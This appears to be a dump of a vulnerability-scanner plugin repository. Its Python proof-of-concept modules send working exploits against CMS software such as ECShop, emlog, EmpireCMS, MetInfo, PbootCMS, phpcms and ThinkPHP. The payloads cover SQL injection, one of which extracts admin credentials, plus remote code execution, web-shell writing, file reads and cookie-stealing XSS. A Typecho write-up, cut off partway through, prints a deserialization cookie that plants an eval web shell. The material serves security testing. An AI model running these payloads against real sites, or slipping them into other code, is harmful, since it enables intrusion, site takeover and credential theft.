16 | poc_hex = "0x" + "".join("{:02x}".format(ord(c)) for c in poc_tmp)
17 | poc = '*/SELECT 1,0x2d312720554e494f4e2f2a,3,4,5,6,7,8,{},10-- -'.format(poc_hex)
18 |
19 | hash3 = '45ea207d7a2b68c49582d2d22adf953a'
20 | hash2 = '554fcae493e564ee0dc75bdf2ebf94ca'
21 |
22 | poc_length = len(poc)
23 | poc_referer_tmp = """%sads|a:2:{s:3:"num";s:%s:"%s";s:2:"id";s:11:"-1' UNION/*";}%s"""
24 |
25 | if version == 2:
26 |
27 | poc_referer = poc_referer_tmp % (hash2, poc_length, poc, hash2)
28 | else:
29 | poc_referer = poc_referer_tmp % (hash3, poc_length, poc, hash3)
30 | return poc_referer
31 |
32 |
33 | def poc(arg, **kwargs):
34 | flagText = "allow_url_fopen"
35 | hack = HackRequests.hackRequests()
36 | headers = '''
37 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
38 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
39 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
40 | Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
41 | Referer: {}
42 | Connection: close
43 | Upgrade-Insecure-Requests: 1
44 | Cache-Control: max-age=0
45 | '''
46 | url = arg + "/user.php?act=login"
47 | payload2 = headers.format(buildpoc(2))
48 | payload3 = headers.format(buildpoc(3))
49 | hh = hack.http(url, headers=payload2)
50 | result = {
51 | "name": "ecshop 2.x/3.x 代码执行", # 插件名称
52 | "content": "详情信息:http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/", # 插件返回内容详情,会造成什么后果。
53 | "url": "", # 漏洞存在url
54 | "log": {
55 | "send": "send",
56 | "response": "response"
57 | },
58 | "tag": "code_eval" # 漏洞标签
59 | }
60 |
61 | if flagText in hh.text():
62 | result["url"] = arg
63 | result["log"] = hh.log
64 | return result
65 | hh = hack.http(url, headers=payload3)
66 | if flagText in hh.text():
67 | result["url"] = arg
68 | result["log"] = hh.log
69 | return result
70 |
71 |
72 | if __name__ == '__main__':
73 | url = "http://127.0.0.1:8080"
74 | p = poc(url)
75 | print(p)
76 |
--------------------------------------------------------------------------------
/cms/emlog/emlog_database_download.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | #__Author__ = 01001000entai
4 | #_PlugName_ = emlog database
5 | #__Refer___ = http://www.wooyun.org/bugs/wooyun-2010-099976
6 |
7 | import HackRequests
8 |
9 |
10 | def poc(arg, **kwargs):
11 | hack = HackRequests.hackRequests()
12 | for i in range(1,4):
13 | payload = '/content/backup/EMLOG_~{}.SQL'.format(i)
14 | target = arg + payload
15 | hh = hack.http(target)
16 | if hh.status_code == 200 and '#version:emlog' in hh.text():
17 | result = {
18 | "name": "emlog 数据库下载", # 插件名称
19 | "content": "存在短文件漏洞,可能导致数据库被下载", # 插件返回内容详情,会造成什么后果。
20 | "url": target, # 漏洞存在url
21 | "log": hh.log,
22 | "tag": "info_leak" # 漏洞标签
23 | }
24 | return result
25 |
26 |
27 | if __name__ == "__main__":
28 | pass
--------------------------------------------------------------------------------
/cms/emlog/emlog_flash_xss.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 |
4 | import HackRequests
5 | import hashlib
6 |
7 | def poc(arg, **kwargs):
8 | flash_md5 = "3a1c6cc728dddc258091a601f28a9c12"
9 | url = arg + "/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//"
10 | hack = HackRequests.hackRequests()
11 | hh = hack.http(url)
12 | if hh.status_code == 200:
13 | md5 = hashlib.md5()
14 | md5_value = md5.new(hh.content()).hexdigest()
15 | if md5_value == flash_md5:
16 | result = {
17 | "name": "emlog flash xss插件", # 插件名称
18 | "content": "emlog后台上传组件存在flash xss,可能导致管理员账号密码被盗用", # 插件返回内容详情,会造成什么后果。
19 | "url": url, # 漏洞存在url
20 | "log": hh.log,
21 | "tag": "flash_xss" # 漏洞标签
22 | }
23 | return result
24 |
25 |
26 | if __name__ == "__main__":
27 | pass
--------------------------------------------------------------------------------
/cms/emlog/emlog_realpath_leak.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:emlog博客系统真实路径泄露
3 | #__Author__ = w8ay
4 |
5 | import HackRequests
6 |
7 |
8 | def poc(arg, **kwargs):
9 | payload = '/admin/attachment.php?action[]='
10 | target = arg + payload
11 | hack = HackRequests.hackRequests()
12 | hh = hack.http(target)
13 | if hh.status_code == 200 and 'Warning' in hh.text():
14 | result = {
15 | "name": "emlog 博客系统真实路径泄露", # 插件名称
16 | "content": "emlog博客系统默认开启全部报错,导致可以泄露真实脚本路径", # 插件返回内容详情,会造成什么后果。
17 | "url": target, # 漏洞存在url
18 | "log": hh.log,
19 | "tag": "info_leak" # 漏洞标签
20 | }
21 | return result
22 |
23 |
24 | if __name__ == "__main__":
25 | pass
--------------------------------------------------------------------------------
/cms/empirecms/list_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | #__Author__ = laozhangyakk
4 | #_PlugName_ = 帝国CMS某手机插件注入
5 | #search key in google = inurl:/ikaimi/rolling/
6 |
7 | import HackRequests
8 |
9 | def poc(arg, **kwargs):
10 | payload = '/ikaimi/rolling/list.php?line=10&page=&classid=10)%20UNION%20ALL%20SELECT%20CONCAT(0x71786a7171,md5(123),0x716a6b6b71),NULL,NULL,NULL,NULL--%20'
11 | target = arg + payload
12 | hack = HackRequests.hackRequests()
13 | hh = hack.http(target)
14 | if hh.status_code == 200 and '202cb962ac59075b964b07152d234b70' in hh.text():
15 | result = {
16 | "name": "帝国CMS某手机插件注入", # 插件名称
17 | "content": "search key in google = inurl:/ikaimi/rolling/", # 插件返回内容详情,会造成什么后果。
18 | "url": target, # 漏洞存在url
19 | "log": hh.log,
20 | "tag": "sql_inject" # 漏洞标签
21 | }
22 | return result
23 |
24 |
25 | if __name__ == "__main__":
26 | pass
--------------------------------------------------------------------------------
/cms/empirecms/rate_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | #__Author__ = 烽火戏诸侯
4 | #_PlugName_ = 帝国CMS(EmpireCMS)商品评分插件注入漏洞
5 |
6 | import HackRequests
7 |
8 | def poc(arg, **kwargs):
9 | payload = '/pf/rate.php?id=-1+UNION+ALL+SELECT+NULL,CONCAT(0x23,0x747971,0x23)--'
10 | target = arg + payload
11 | hack = HackRequests.hackRequests()
12 | hh = hack.http(target)
13 | if hh.status_code == 200 and '#tyq#' in hh.text():
14 | result = {
15 | "name": "商品评分插件注入", # 插件名称
16 | "content": "帝国CMS(EmpireCMS)商品评分插件注入漏洞", # 插件返回内容详情,会造成什么后果。
17 | "url": target, # 漏洞存在url
18 | "log": hh.log,
19 | "tag": "sql_inject" # 漏洞标签
20 | }
21 | return result
22 |
23 |
24 | if __name__ == "__main__":
25 | pass
--------------------------------------------------------------------------------
/cms/metinfo/metinfo5.3.17_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:Metinfo 5.3.17注入漏洞
3 | import HackRequests
4 |
5 | def poc(arg, **kwargs):
6 | headers = '''
7 | user-agent: mozilla/5.0 (compatible; baiduspider/2.0; +http://www.baidu.com/search/spider.html
8 | X-Rewrite-Url:1/2/404xxx\' union select 1,2,3,admin_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php
9 | '''
10 | vulnurl = arg + "/index.php?lang=Cn&index=0000"
11 | hh = HackRequests.http(url = vulnurl,headers = headers)
12 | if hh.status_code != 200:
13 | return False
14 | username = getMiddle(hh.header,"list-", "-Cn")
15 | if username == "":
16 | return False
17 | headers = '''
18 | user-agent: mozilla/5.0 (compatible; baiduspider/2.0; +http://www.baidu.com/search/spider.html
19 | X-Rewrite-Url:1/2/404xxx\' union select 1,2,3,admin_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php
20 | '''
21 | hh = HackRequests.http(url = vulnurl,headers = headers)
22 | if hh.status_code != 200:
23 | return False
24 | password = getMiddle(hh.header,"list-", "-Cn")
25 | result = {
26 | "name": "metinfo 5.3.17 SQL注入", # 插件名称
27 | "content": "user:{} password:{}".format(username,password), # 插件返回内容详情,会造成什么后果。
28 | "url": vulnurl, # 漏洞存在url
29 | "log": hh.log,
30 | "tag": "sqli" # 漏洞标签
31 | }
32 | return result
33 |
34 | def getMiddle(src,a,b):
35 | try:
36 | aa = src.index(a)
37 | bb = src.index(b,aa)
38 | except ValueError:
39 | return ""
40 | return src[aa + len(a):bb]
41 |
42 | if __name__ == "__main__":
43 | data = "inf-xxxxxxxx-aa"
44 | print(getMiddle(data,"infa","aa"))
--------------------------------------------------------------------------------
/cms/metinfo/metinfo6.1.2_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:Metinfo 6.1.2注入漏洞
3 | # Referer:https://bbs.ichunqiu.com/thread-46687-1-1.html
4 |
5 | import HackRequests
6 |
7 |
8 | def poc(arg, **kwargs):
9 | payload= arg + "/admin/index.php?m=web&n=message&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1¶139=1¶140=1&id=42 and(223=223)"
10 | hh = HackRequests.http(payload)
11 | if hh.status_code == 200 and "验证码" in hh.text():
12 | result = {
13 | "name": "Metinfo 6.1.2注入漏洞", # 插件名称
14 | "content": "基于布尔的盲注漏洞可以获得数据库信息以及用户名密码", # 插件返回内容详情,会造成什么后果。
15 | "url": payload, # 漏洞存在url
16 | "log": hh.log,
17 | "tag": "sqli" # 漏洞标签
18 | }
19 | return result
--------------------------------------------------------------------------------
/cms/metinfo/metinfo_version.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:Metinfo版本识别
3 | import HackRequests
4 |
5 | def getMiddle(src,a,b):
6 | try:
7 | aa = src.index(a)
8 | bb = src.index(b,aa)
9 | except ValueError:
10 | return ""
11 | return src[aa + len(a):bb]
12 |
13 | def poc(arg, **kwargs):
14 | hh = HackRequests.http(arg)
15 | if hh.status_code != 200:
16 | return False
17 | version = getMiddle(hh.text(),'')
18 | if version == "":
19 | return False
20 |
21 | result = {
22 | "name": "Metinfo版本识别", # 插件名称
23 | "content": "version:{}".format(version), # 插件返回内容详情,会造成什么后果。
24 | "url": arg, # 漏洞存在url
25 | "log": hh.log,
26 | "tag": "info_leak" # 漏洞标签
27 | }
28 | return result
29 |
30 |
31 | if __name__ == "__main__":
32 | pass
--------------------------------------------------------------------------------
/cms/pbootcms/pbootcms_rce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # @Time : 2018/12/4 下午4:52
4 | # @Author : w8ay
5 | # @File : pbootcms_rce.py
6 | '''
7 | referer: https://nosec.org/home/detail/2001.html
8 | author: w8ay
9 | '''
10 | import HackRequests
11 |
12 |
13 | def poc(arg, **kwargs):
14 | headers = {
15 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
16 | }
17 | payloads = ['/index.php/index/index?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo',
18 |
19 | '/index.php/Content/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo',
20 |
21 | '/index.php/List/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo',
22 |
23 | '/About/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo',
24 |
25 | '/index.php/Search/index?keyword={pboot:if(1)$a=$_GET[title];$a();//)})}}{/pboot:if}&title=phpinfo']
26 | hh = HackRequests.hackRequests()
27 | result = {}
28 | for payload in payloads:
29 | testurl = arg.strip() + payload
30 | r = hh.http(testurl, headers=headers)
31 | html = r.text()
32 | if r.status_code == 200 and 'allow_url_fopen' in html:
33 | result["name"] = "pbootcms远程执行漏洞"
34 | result["content"] = "存在远程执行漏洞,攻击者可以通过此执行任意php代码。"
35 | result["url"] = testurl
36 | result["log"] = r.log
37 | result["tag"] = "rce"
38 | return result
39 |
--------------------------------------------------------------------------------
/cms/phpcms/phpcms_2008_rce.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:phpcms 2008 rce
3 | '''
4 | referer: https://github.com/ab1gale/phpcms-2008-CVE-2018-19127
5 | description: 攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入。该漏洞危害程度为高危(High)。目前,漏洞利用原理已公开,厂商已发布新版本修复此漏洞。
6 | '''
7 | import HackRequests
8 |
9 | def poc(arg, **kwargs):
10 | payload = r'''/type.php?template=tag_(){};@unlink(FILE);assert($_GET[1]);{//../rss'''
11 | hh = HackRequests.http(arg + payload)
12 | shell_url = arg + '/data/cache_template/rss.tpl.php?1=phpinfo()'
13 | r = HackRequests.http(shell_url)
14 | if r.status_code == 200 and 'allow_url_fopen' in r.text():
15 | result = {
16 | "name": "phpcms_2008 rce", # 插件名称
17 | "content": "攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入。该漏洞危害程度为高危(High)。", # 插件返回内容详情,会造成什么后果。
18 | "url": shell_url, # 漏洞存在url
19 | "log": hh.log,
20 | "tag": "rce" # 漏洞标签
21 | }
22 | return result
--------------------------------------------------------------------------------
/cms/phpcms/phpcms_authkey_disclosure.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: phpcms authkey泄露
5 | referer: http://wooyun.org/bugs/wooyun-2015-0105242
6 | author: Lucifer
7 | description: PHPCMS authkey 泄露漏洞,可引起SQL注入。
8 | '''
9 | import HackRequests
10 | import re
11 |
12 | def poc(arg, **kwargs):
13 | payload = "/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\\applist&path=admin"
14 | vulnurl = arg + payload
15 | hack = HackRequests.hackRequests()
16 | hh = hack.http(vulnurl)
17 | if hh.status_code != 200:
18 | return False
19 | m = re.search('(\w{32})', hh.text())
20 | if m:
21 | result = {
22 | "name": "PHPCMS authkey leak", # 插件名称
23 | "content": "PHPCMS authkey泄露漏洞", # 插件返回内容详情,会造成什么后果。
24 | "url": vulnurl, # 漏洞存在url
25 | "log": hh.log,
26 | "tag": "info_leak" # 漏洞标签
27 | }
28 | return result
29 |
30 |
31 | if __name__ == "__main__":
32 | pass
--------------------------------------------------------------------------------
/cms/phpcms/phpcms_digg_add_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: phpcms digg_add.php SQL注入
5 | referer: http://www.shangxueba.com/jingyan/2195152.html
6 | author: Lucifer
7 | description: 文件digg_add.php中,参数digg_mod存在SQL注入。
8 | '''
9 | import HackRequests
10 | import re
11 |
12 | def poc(arg, **kwargs):
13 | payload = "/digg/digg_add.php?id=1&con=2&digg_mod=digg_data%20WHERE%201=2%20+and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,md5(1234),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"
14 | vulnurl = arg + payload
15 | hack = HackRequests.hackRequests()
16 | hh = hack.http(vulnurl)
17 | if hh.status_code != 200:
18 | return False
19 | if "81dc9bdb52d04dc20036dbd8313ed055" in hh.text():
20 | result = {
21 | "name": "PHPCMS digg_add sql_inject", # 插件名称
22 | "content": "存在PHPCMS digg_add.php SQL注入漏洞", # 插件返回内容详情,会造成什么后果。
23 | "url": vulnurl, # 漏洞存在url
24 | "log": hh.log,
25 | "tag": "sql_inject" # 漏洞标签
26 | }
27 | return result
28 |
29 |
30 | if __name__ == "__main__":
31 | pass
--------------------------------------------------------------------------------
/cms/phpcms/phpcms_flash_upload_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: phpcms2008 flash_upload.php SQL注入
5 | referer: unknown
6 | author: Lucifer
7 | description: 文件flash_upload.php中,参数modelid存在SQL注入。
8 | '''
9 | import HackRequests
10 | import re
11 |
12 | def poc(arg, **kwargs):
13 | payload = "/flash_upload.php?modelid=%30%20%61%6E%64%28%73%65%6C%65%63%74%20%31%20%66%72%6F%6D%28%73%65%6C%65%63%74%20%63%6F%75%6E%74%28%2A%29%2C%63%6F%6E%63%61%74%28%28%73%65%6C%65%63%74%20%28%73%65%6C%65%63%74%20%28%73%65%6C%65%63%74%20%63%6F%6E%63%61%74%28%30%78%37%65%2C%6D%64%35%28%33%2E%31%34%31%35%29%2C%30%78%37%65%29%29%29%20%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%20%6C%69%6D%69%74%20%30%2C%31%29%2C%66%6C%6F%6F%72%28%72%61%6E%64%28%30%29%2A%32%29%29%78%20%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%20%67%72%6F%75%70%20%62%79%20%78%29%61%29"
14 | vulnurl = arg + payload
15 | hack = HackRequests.hackRequests()
16 | hh = hack.http(vulnurl)
17 | if hh.status_code != 200:
18 | return False
19 | if "63e1f04640e83605c1d177544a5a0488" in hh.text():
20 | result = {
21 | "name": "PHPCMS flash_upload.php sql_inject", # 插件名称
22 | "content": "存在phpcms2008 flash_upload.php SQL注入漏洞", # 插件返回内容详情,会造成什么后果。
23 | "url": vulnurl, # 漏洞存在url
24 | "log": hh.log,
25 | "tag": "sql_inject" # 漏洞标签
26 | }
27 | return result
28 |
29 |
30 | if __name__ == "__main__":
31 | pass
--------------------------------------------------------------------------------
/cms/phpcms/phpcms_product_code_exec.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: phpcms2008 product.php 代码执行
5 | referer: http://www.wooyun.org/bugs/WooYun-2011-02984
6 | author: Lucifer
7 | description: 文件product.php中,参数pagesize存在代码注入。
8 | '''
9 | import HackRequests
10 | import re
11 |
12 | def poc(arg, **kwargs):
13 | payload = "/yp/product.php?pagesize=${@phpinfo()}"
14 | vulnurl = arg + payload
15 | hack = HackRequests.hackRequests()
16 | hh = hack.http(vulnurl)
17 | if hh.status_code != 200:
18 | return False
19 | if "Configuration File (php.ini) Path" in hh.text():
20 | result = {
21 | "name": "PHPCMS product.php code_eval", # 插件名称
22 | "content": "phpcms2008 product.php 代码执行漏洞", # 插件返回内容详情,会造成什么后果。
23 | "url": vulnurl, # 漏洞存在url
24 | "log": hh.log,
25 | "tag": "code_eval" # 漏洞标签
26 | }
27 | return result
28 |
29 |
30 | if __name__ == "__main__":
31 | pass
--------------------------------------------------------------------------------
/cms/phpcms/phpcms_v961_fileread.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: phpcms 9.6.1任意文件读取漏洞
5 | referer: http://bobao.360.cn/learning/detail/3805.html
6 | author: Lucifer
7 | description: phpcms最新版本任意文件读取,漏洞原理见来源页面。
8 | '''
9 | import HackRequests
10 | import re
11 |
12 |
13 | def poc(arg, **kwargs):
14 | headers = {
15 | "Content-Type": "application/x-www-form-urlencoded",
16 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
17 | }
18 | url_preffix = arg + "/index.php?m=wap&c=index&a=init&siteid=1"
19 | hack = HackRequests.hackRequests()
20 | hh = hack.http(url_preffix)
21 | tmp_cookie = False
22 | if hh.cookies:
23 | tmp_cookie = list(hh.cookies.values())[-1]
24 | if not tmp_cookie:
25 | return False
26 | post_data = {
27 | "userid_flash": tmp_cookie
28 | }
29 | payload = "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&filename=test.jpg&src=%26i%3D3%26d%3D1%26t%3D9999999999%26catid%3D1%26ip%3D8.8.8.8%26m%3D3%26modelid%3D3%26s%3Dcaches%2fconfigs%2fsystem.p%26f%3Dh%25253Cp%26xxxx%3D"
30 |
31 | vulnurl = arg + payload
32 | req2 = hack.http(vulnurl, post=post_data, headers=headers, timeout=10, verify=False)
33 |
34 | att_json = list(req2.cookies.values())[-1]
35 |
36 | req3 = hack.http(arg + "/index.php?m=content&c=down&a=init&a_k=" + att_json, headers=headers, timeout=10)
37 | pattern = '.*?'
38 | link = re.search(pattern, req3.text).group(1)
39 | req4 = hack.http(arg + "/index.php" + link, headers=headers, verify=False)
40 | if r"",r"/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'"]
13 | for payload in payloads:
14 | vulnurl = arg + payload
15 | try:
16 | hack = HackRequests.hackRequests()
17 | hh = hack.http(vulnurl)
18 |
19 | if r"allow_url_fopen" in hh.text():
20 | result = {
21 | "name": "ThinkPHP5 命令执行", # 插件名称
22 | "content": "ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。", # 插件返回内容详情,会造成什么后果。
23 | "url": vulnurl, # 漏洞存在url
24 | "log": hh.log,
25 | "tag": "code_eval" # 漏洞标签
26 | }
27 | return result
28 | except:
29 | pass
30 |
31 |
32 | if __name__ == "__main__":
33 | pass
--------------------------------------------------------------------------------
/cms/thinkphp/thinkphp_3.1_code_exec.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: ThinkPHP 代码执行漏洞
5 | referer: http://zone.wooyun.org/index.php?do=view&id=44
6 | author: Lucifer
7 | description: ThinkPHP 版本3.0~3.1开启Lite模式后preg_replace使用了/e选项,同时第二个参数使用双引号,所以造成了代码执行,可直接GETSHELL
8 | '''
9 | import HackRequests
10 |
11 |
12 | def poc(arg, **kwargs):
13 | payload = "/index.php/Index/index/name/$%7B@phpinfo%28%29%7D"
14 | vulnurl = arg + payload
15 | try:
16 | hack = HackRequests.hackRequests()
17 | hh = hack.http(vulnurl)
18 |
19 | if r"Configuration File (php.ini) Path" in hh.text():
20 | result = {
21 | "name": "ThinkPHP 代码执行漏洞", # 插件名称
22 | "content": "存在ThinkPHP代码执行漏洞", # 插件返回内容详情,会造成什么后果。
23 | "url": vulnurl, # 漏洞存在url
24 | "log": hh.log,
25 | "tag": "code_eval" # 漏洞标签
26 | }
27 | return result
28 | except:
29 | pass
30 |
31 |
32 | if __name__ == "__main__":
33 | pass
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/README.md:
--------------------------------------------------------------------------------
1 | ## 0x00 前言
2 |
3 | 听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己当初安装完就把这个文件和install目录删了,看来当初自己安全意识还是可以滴 233
4 |
5 | ## 0x01 Payload
6 |
7 | ```http
8 | GET /typecho/install.php?finish=1 HTTP/1.1
9 | Host: 192.168.211.169
10 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
11 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
13 | Accept-Encoding: gzip, deflate
14 | Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
15 | Referer:http://192.168.211.169/typecho/install.php
16 | Connection: close
17 | Upgrade-Insecure-Requests: 1
18 | ```
19 |
20 | 便会在网站根目录下生产一句话`p0.php`,密码`p0`
21 |
22 | 
23 |
24 | 
25 |
26 | ## 0x02 反序列化可控点
27 |
28 | install.php 288-235行
29 |
30 | ```php
31 |
32 | addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
37 | Typecho_Db::set($db);
38 | ?>
39 | ```
40 |
41 | 第230行获取cookie中的`__typecho_config`值base64解码,然后反序列化。想要执行,只需`isset($_GET['finish'])`并且`__typecho_config `存在值。
42 |
43 | 反序列化后232行把`$config['adapter']`和`$config['prefix']`传入`Typecho_Db`进行实例化。然后调用`Typecho_Db`的`addServer`方法,调用`Typecho_Config`实例化工厂函数对`Typecho_Config`类进行实例化。
44 |
45 | ## 0x03 反序列化触发点
46 |
47 | 全局搜索`__destruct()`和`__wakeup()`:
48 |
49 | 
50 |
51 | 只发现了两处`__destruct()`,跟进去并没发现可利用的地方。
52 |
53 | 继续看`Typecho_Db`类
54 |
55 | 构造方法,Db.php 114-135行
56 |
57 | ```php
58 | public function __construct($adapterName, $prefix = 'typecho_')
59 | {
60 | /** 获取适配器名称 */
61 | $this->_adapterName = $adapterName;
62 |
63 | /** 数据库适配器 */
64 | $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
65 |
66 | if (!call_user_func(array($adapterName, 'isAvailable'))) {
67 | throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
68 | }
69 |
70 | $this->_prefix = $prefix;
71 |
72 | /** 初始化内部变量 */
73 | $this->_pool = array();
74 | $this->_connectedPool = array();
75 | $this->_config = array();
76 |
77 | //实例化适配器对象
78 | $this->_adapter = new $adapterName();
79 | }
80 | ```
81 |
82 | 发现第120行对传入的`$adapterName`进行了字符串的拼接操作。那么如果`$adapterName`传入的是个实例化对象,就会触发该对象的`__toString()`魔术方法。
83 |
84 | 全局搜索`__toString()`:
85 |
86 | 
87 |
88 | 发现三处,跟进,第一个发现并没有可以直接利用的地方。
89 |
90 | 跟进`Typecho_Query`类的`__toString()`魔术方法,Query.php 488-519行:
91 |
92 | ```php
93 | public function __toString()
94 | {
95 | switch ($this->_sqlPreBuild['action']) {
96 | case Typecho_Db::SELECT:
97 | return $this->_adapter->parseSelect($this->_sqlPreBuild);
98 | case Typecho_Db::INSERT:
99 | return 'INSERT INTO '
100 | . $this->_sqlPreBuild['table']
101 | . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
102 | . ' VALUES '
103 | . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
104 | . $this->_sqlPreBuild['limit'];
105 | case Typecho_Db::DELETE:
106 | return 'DELETE FROM '
107 | . $this->_sqlPreBuild['table']
108 | . $this->_sqlPreBuild['where'];
109 | case Typecho_Db::UPDATE:
110 | $columns = array();
111 | if (isset($this->_sqlPreBuild['rows'])) {
112 | foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
113 | $columns[] = "$key = $val";
114 | }
115 | }
116 |
117 | return 'UPDATE '
118 | . $this->_sqlPreBuild['table']
119 | . ' SET ' . implode(' , ', $columns)
120 | . $this->_sqlPreBuild['where'];
121 | default:
122 | return NULL;
123 | }
124 | }
125 | ```
126 |
127 | 第492行`$this->_adapter`调用`parseSelect()`方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发`__call()`魔术方法。
128 |
129 | 全局搜索`__call()`:
130 |
131 | 
132 |
133 | 发现几处,挨个跟进发现`Typecho_Plugin`类的`__call()`魔术方法存在回调函数,Plugin.php 479-494行:
134 |
135 | ```php
136 | public function __call($component, $args)
137 | {
138 | $component = $this->_handle . ':' . $component;
139 | $last = count($args);
140 | $args[$last] = $last > 0 ? $args[0] : false;
141 |
142 | if (isset(self::$_plugins['handles'][$component])) {
143 | $args[$last] = NULL;
144 | $this->_signal = true;
145 | foreach (self::$_plugins['handles'][$component] as $callback) {
146 | $args[$last] = call_user_func_array($callback, $args);
147 | }
148 | }
149 |
150 | return $args[$last];
151 | }
152 | ```
153 |
154 | `$component`是调用失败的方法名,`$args`是调用时的参数。均可控,但是根据上文,`$args`必须存在`array('action'=>'SELECT')`,然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致`$args`长度至少为3,那么`call_user_func_array()`便无法正常执行。所以此路就不通了。
155 |
156 | 继续跟进`Typecho_Feed`类的`__toString()`魔术方法,Feed.php 340-360行
157 |
158 | ```php
159 | } else if (self::ATOM1 == $this->_type) {
